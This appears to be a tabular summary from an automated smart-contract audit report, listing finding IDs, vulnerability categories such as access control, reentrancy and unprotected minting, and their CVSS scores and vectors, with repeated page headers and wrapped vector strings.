SCR-588f1f7409ab	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-cc063ec04409	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-564b2e532c5d	access_control_violation	9.6	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-ac27d08796ed	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-ba77144ad0a1	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-0f234ca558d6	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-f30411e9c21b	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-3bf360bf7f68	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-e0978b6663e4	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
SCR-b203f2b0e20a	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-ab757c4eee1f	access_control_violation	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SCR-34e7aa1e1563	state_invariant_break	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-eefb80ef5eb1	state_invariant_break	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-62fba2c2323b	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-cb57122c5d86	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-a2a5f16ff0a1	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
SCR-4d5ad3dac89e	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-0fc22c490715	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-1773d7d04ebf	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-8958224a37a6	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-a5dc849cce13	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-0ef9904e059b	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-b2e295cd98c2	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
SCR-ce510a74ccd5	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-f7bbdcc3ac1f	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-4c57b5edf5b2	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-4ea4223c83c9	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-13ff4702538a	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-0742838704b2	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-f219455d9ad1	missing_annotation_coverage	6.8	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:H/ A:N
SCR-49cf1c8c0492	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-e49117a0a42e	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-3528014889f1	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-c3f95b4d8d23	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-653bddd3cd80	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-f1b3d47cbb9c	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-b8eb8a50c54d	missing_annotation_coverage	6.8	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-89c2f200f0ac	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-864ea6493665	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-b8b501010195	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-630728ab2854	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-fe1c16f3f152	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-6b949c621b46	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
SCR-f1522579511f	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-556c7e731026	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-cce5729c5004	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-92aad70aa82e	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-a78ea5232afe	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-73d2549d642b	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-14338b7f6ff5	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
SCR-1b691acbb781	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-a7d3f0e3f134	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-676e24597202	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-79f822976960	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-acecc4af2f06	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-e20db45d2a53	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-419ed7c1be4d	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
SCR-2437d26e1c4b	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-ed794920f000	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-28dbe393c361	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-97efd63e70c9	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-0350c08f9242	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-211fc14dcc34	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-fe4b783d3824	missing_annotation_coverage	6.8	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:H/ A:N
SCR-dd80def9b884	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-00c46bd5d480	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-675e833e25ce	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-7fbfb4738867	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SCR-377dcfa39dc5	missing_annotation_coverage	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
gptlens-1	Potential Integer Overflow/ Underflow	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
	ml_detected_vulnerability	6.8	

FINDING ID	TITLE	BASE SCORE	VECTOR
DAGNN-TIMESTAMP_DEPENDENCE-f95b21a8			AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
UNK	delegatecall	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
UNK	bad_randomness	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SB-ARITHMETIC-1	Integer Overflow/Underflow	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SB-ARITHMETIC-2	Integer Overflow/Underflow	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SB-ARITHMETIC-3	Integer Overflow/Underflow	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SB-ARITHMETIC-4	Integer Overflow/Underflow	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
SB-ARITHMETIC-5	Integer Overflow/Underflow	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SB-ARITHMETIC-6	Integer Overflow/Underflow	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SB-DENIAL_OF_SERVICE-7	Unbounded Array Growth DoS	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SB-FRONT_RUNNING-8	Front-Running Vulnerability	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
SB-FRONT_RUNNING-9	Front-Running Vulnerability	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
SB-FRONT_RUNNING-10	Front-Running Vulnerability	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
SB-ACCESS_CONTROL-11	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:H/I:H/ A:N
SB-ACCESS_CONTROL-12	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SB-ACCESS_CONTROL-13	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SB-ACCESS_CONTROL-14	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SB-ACCESS_CONTROL-15	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SB-ACCESS_CONTROL-16	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SB-ACCESS_CONTROL-17	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SB-ACCESS_CONTROL-18	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:H/I:H/ A:N
SB-ACCESS_CONTROL-19	Missing Access Control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
SB-UNCHECKED_LOW_LEVEL_CALLS-20	Unchecked Low-Level Call	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
SB-UNCHECKED_LOW_LEVEL_CALLS-21	Unchecked Low-Level Call	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
PECULIAR-REENTRANCY-95ef1a15-0000	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
PECULIAR-REENTRANCY-95ef1a15-0001	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
PECULIAR-REENTRANCY-95ef1a15-0002	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
PECULIAR-REENTRANCY-95ef1a15-0003	reentrancy	9.6	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:N/I:H/ A:H
PECULIAR- ACCESS_CONTROL-95ef1a15-0004	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0005	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0006	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0007	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0008	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0009	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
	access_control	9.6	

FINDING ID	TITLE	BASE SCORE	VECTOR
PECULIAR- ACCESS_CONTROL-95ef1a15-0010			AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0011	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0012	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0013	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- ACCESS_CONTROL-95ef1a15-0014	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
PECULIAR- DELEGATECALL_INJECTION-95ef1a15-0015	delegatecall_injection	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-683	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
THREAT-SPOOFING-688	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-697	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-706	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-722	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-733	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-753	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-755	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
THREAT-SPOOFING-757	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-759	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-761	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-765	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-769	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-771	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-773	threat_model	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1870	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1872	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1874	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1876	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1878	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1880	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1902	threat_model	6.8	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1904	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1982	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1988	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1993	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-1998	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-2066	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-2070	threat_model	6.8	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-2080	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-2090	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-SPOOFING-2095	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-DENIAL OF SERVICE-2000	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
THREAT-ELEVATION OF PRIVILEGE-168	threat_model	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-MISSING_IMMUTABLE-32	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
GAS-MISSING_IMMUTABLE-220	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-MISSING_IMMUTABLE-1658	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1201	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1209	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1226	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1233	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1240	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1252	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1260	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1271	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1289	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1307	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1326	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1484	gas_optimization	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1626	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1695	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1703	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1719	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1729	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1743	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1758	gas_optimization	6.8	AV:N/ AC:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1778	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1843	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-PUBLIC_NOT_EXTERNAL-1858	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
GAS-ZERO_INIT-2000	gas_optimization	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
DEFI-SANDWICH_ATTACK-1	Missing Transaction Deadline	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
ADV-RUG_PULL-1	Potential Rug Pull Pattern	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
ADV-RUG_PULL-2	Potential Rug Pull Pattern	6.8	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
ADV-RUG_PULL-3	Potential Rug Pull Pattern	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
ADV-RUG_PULL-4	Potential Rug Pull Pattern	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
ADV-TOKEN_SECURITY-5	Token Security Issue	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
ADV-TOKEN_SECURITY-6	Token Security Issue	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
ADV-PROXY_UPGRADE-7	Proxy/Upgrade Vulnerability	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
ADV-PROXY_UPGRADE-8	Proxy/Upgrade Vulnerability	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N

FINDING ID	TITLE	BASE SCORE	VECTOR
UPG-47b19198ae70	uninitialized_proxy	8.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:L
UPG-1ae671153af3	missing_initializer	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
crosschain-bridge_fund_drainage-949	Value transfer without validation	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
crosschain-bridge_fund_drainage-1146	Minting without apparent access control	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
crosschain-emergency_withdrawal-7974	Emergency mechanism without timelock	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
BRG-38d839e8a823	unprotected_mint	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
BRG-615d597491e6	unprotected_mint	6.8	AV:N/ AC:L/ PR:L/ UI:N/

FINDING ID	TITLE	BASE SCORE	VECTOR
			C:N/I:H/ A:N
BRG-249172ab0bf9	unprotected_mint	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
BRG-0af4c0de32b0	unprotected_mint	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
BRG-02cf7041cc7f	deposit_withdrawal_imbalance	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-1	Access Control Issue	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
iaudit-pattern-2	Access Control Issue	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
iaudit-pattern-3	Access Control Issue	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N
iaudit-pattern-12	Delegatecall to Untrusted Callee	6.8	AV:N/ AC:L/ PR:L/

FINDING ID	TITLE	BASE SCORE	VECTOR
			UI:N/ C:N/I:H/ A:N
iaudit-pattern-13	Denial of Service via Gas Limit	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
iaudit-pattern-14	Front-Running / Transaction Ordering Dependence	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-15	Front-Running / Transaction Ordering Dependence	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-16	Front-Running / Transaction Ordering Dependence	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-4	Integer Overflow / Underflow	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-5	Integer Overflow / Underflow	6.2	AV:N/ AC:H/ PR:N/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-6	Integer Overflow / Underflow	6.2	AV:N/ AC:H/

FINDING ID	TITLE	BASE SCORE	VECTOR
			PR:N/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-10	Timestamp Dependence	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-11	Timestamp Dependence	6.8	AV:N/ AC:L/ PR:L/ UI:N/ C:N/I:H/ A:N
iaudit-pattern-7	Unchecked Low-Level Call	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
iaudit-pattern-8	Unchecked Low-Level Call	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
iaudit-pattern-9	Unchecked Low-Level Call	6.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:L/ A:L
iaudit-pattern-17	Uninitialized Storage Variable	8.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:L
iaudit-pattern-18	Uninitialized Storage Variable	8.6	

FINDING ID	TITLE	BASE SCORE	VECTOR
			AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:L
llamaaudit-pattern-reentrancy-1	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-reentrancy-2	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-reentrancy-5	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-reentrancy-6	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-reentrancy-7	reentrancy	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:N/I:H/ A:H
llamaaudit-pattern-access_control-1	access_control	9.6	AV:N/ AC:L/ PR:N/ UI:N/ C:H/I:H/ A:N

